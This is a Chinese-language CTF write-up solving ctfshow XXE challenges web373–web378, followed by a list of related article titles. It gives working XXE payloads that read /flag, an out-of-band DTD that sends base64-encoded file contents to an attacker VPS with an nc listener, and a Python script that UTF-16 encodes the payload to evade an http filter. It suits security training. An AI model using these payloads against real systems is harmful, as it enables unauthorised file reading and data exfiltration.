目录

  • web373
  • web374、375、376
  • web377
  • web378

学习链接

  • 一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

web373

burpsuite发包,不能用hackbar

[POST]Payload:<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<ctfshow>&xxe;</ctfshow>
</test>

web374、375、376

和web373的区别是没有echo $ctfshow;,即无回显

在vps上创建一个test.dtd文件,用于反弹shell,内容如下:

<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://xxxxx:1234/%file;'> ">
%dtd;
%xxe;

监听1234端口,nc -lvp 1234。由于我的vps是没有开web服务的,开了的直接把test.dtd放在网站根目录下就可以。

另开一个vps的shell,使用python打开http服务:

python3 -m http.server 80

*注意:上面的这个命令要在test.dtd文件所在目录下执行。

然后POST发包即可在vps上收到flag的base64值。

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>

web377

过滤了http协议,python脚本 utf-16编码绕过。

import requestsurl = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)

和上一题一样,只是由python脚本utf-16编码后发包。


web378

随便提交一个表单,bp抓包。

原来的post内容:

<user><username>123</username><password>123</password></user>

123改成&xxe; 、前面加上:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

最后payload:

[POST]Payload:<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>312</password></user>

ctfshow web入门 XXE web373~web378相关推荐

  1. ctfshow web入门-XXE

    ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...

  2. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  3. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  4. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  5. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  6. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

  7. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  8. ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...

  9. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

最新文章

  1. VS2010去掉每次全部编译
  2. 博睿数据与阿里云签订云原生核心合作伙伴计划,推动企业智能运维落地
  3. 微服务架构下,解决数据一致性问题的实践 2
  4. OpenCV矩形检测
  5. Asp.Net递归遍历页面控件实例
  6. jQuery模拟鼠标点击事件失效的问题
  7. 洛谷 P2372 yyy2015c01挑战算周长
  8. windows中的ntsd工具使用
  9. GB28181国标错误码整理
  10. 实用常识 | 写论文时如何引用插入脚注 / 如何自定义脚注符号 / 如何将多个脚注合并在一起
  11. 激流之傲服务器维修,国服3月15日部分服务器预计维护16小时
  12. 寒霜朋克计算机丢失,寒霜朋克无法进入游戏解决方法 寒霜朋克无法进入游戏怎么办...
  13. Cradle 从工程学角度预测血管和气管的流量并研究生物
  14. 苹果app退款_苹果app退款流程:App Store应用如何申请iOS退款教程
  15. 大学计算机实验基础第二版,大学计算机基础实验指导(第2版)
  16. camera中lookAt的理解
  17. android 读build.prop,Android系统下的build.prop文件
  18. 基于NeRF的APP上架苹果商店!照片转3D只需一部手机,网友们玩疯了
  19. IP-guard如何实现远程控制或远程文件传送时,不在客户端弹出授权提示
  20. CFG保护机制校验逻辑分析

热门文章

  1. labview插件下载
  2. gitto-page enrichment
  3. RK系列SDK -- dummy codec虚拟声卡注册
  4. (三) 技术选型 1.项目框架模式:MVP(得分点);注意:分包分层,避免内存泄漏; 2.图片加载:Fresco图片加载框架; 3.网络加载框架:retrofit;使用Retrofit+RxJ
  5. 软件测试员比软件开发员
  6. javascript求1~100的素数和
  7. 视频传输解决方案,让视频会议更高效
  8. oracle--2.服务
  9. Java注入bean的方式_多种方式实现Spring的Bean注入
  10. C++ 动态库导出函数名乱码及解决